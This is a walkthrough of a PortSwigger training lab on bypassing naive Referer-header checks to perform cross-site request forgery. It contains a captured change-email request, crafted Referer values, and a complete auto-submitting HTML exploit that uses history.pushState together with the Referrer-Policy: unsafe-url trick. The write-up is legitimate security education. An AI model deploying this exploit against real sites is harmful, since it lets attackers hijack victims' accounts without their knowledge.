CSRF with broken Referer validation
CSRF with broken Referer validation
Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF
Summary
Walkthrough of the PortSwigger Web Security Academy lab CSRF with broken Referer validation (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — CSRF
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
Validation of Referer can be circumvented
Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain: http://vulnerable-website.com.attacker-website.com/csrf-attack
Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL: http://attacker-website.com/csrf-attack?vulnerable-website.com
Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.
You can override this behavior by making sure that the response containing your exploit has the
Referrer-Policy: unsafe-urlheader set (note that Referrer is spelled correctly in this case, just to make sure you're paying attention!). This ensures that the full URL will be sent, including the query string.
Solution :
Log in as wiener using the credentials - wiener:peter
We get this page to update email.
When we click update email, browser sends a request like this,
http read-only • copy allowedPOST /my-account/change-email HTTP/2 Host: 0a1c0080040de829801c712900d600a9.web-security-academy.net Cookie: session=Axf9Yo6ZjuM9B0wD9vACJtH46iM0ASK1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 21 Origin: https://0a1c0080040de829801c712900d600a9.web-security-academy.net Referer: https://0a1c0080040de829801c712900d600a9.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers email=test%40test.com
Here the application verifies the request by comparing the Host: and Referer header.
Our goal is to bypass this referrer header validation . We need to be able to somehow place the attacker domain ie.(exploit server) in the referrer header
- Exploit server domain - exploit-0acd00e30437e84180cd7051010b004e.exploit-server.net
Check which portion of the referer header is the application validating
Lets us give the attacker domain in the referer header by giving the attacker.com as the domain name and the original domain as a directory portion.
http read-only • copy allowedReferer: https://attacker-domain.com/?0a1c0080040de829801c712900d600a9.web-security-academy.net/my-account
We get a 301 Redirect
This means the application takes this referer header and instead of validating the entire referer header , it just checks if the domain name in HOST header is contained in the referer header. This is done with the help of some regex matching (expected-domain) .
Generate POC -
Replace the attacker domain with exploit server domain. Send the request to POC generator,
Add the
Auto-submit script
html read-only • copy allowed<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net')</script> <form action="https://0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="user@user.net" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Explanation of PUSHSTATE -
history.pushState('', '', '/?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net')
- This line calls the pushState() method on the history object, which is part of the browser's window object. It allows you to manipulate the browser's history stack, including the URL.
- The pushState() method takes three parameters: state, title, and URL.
In this case, the first parameter (state) is an empty string, which means there is no specific state associated with the URL change. The second parameter (title) is also an empty string, which means the document title remains unchanged. The third parameter (URL) is set to /?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net.
This modifies the URL of the current webpage to /?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net without triggering a page reload.
If we send this POC to victim, the lab is not solved. Reason being that modern browsers now strip the query string from the Referer header by default.
We can override this by providing Referrer-Policy: unsafe-url header.
Now deliver the exploit to victim to solve the lab.
Key Takeaways / Lessons
- Understanding CSRF detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF with broken Referer validation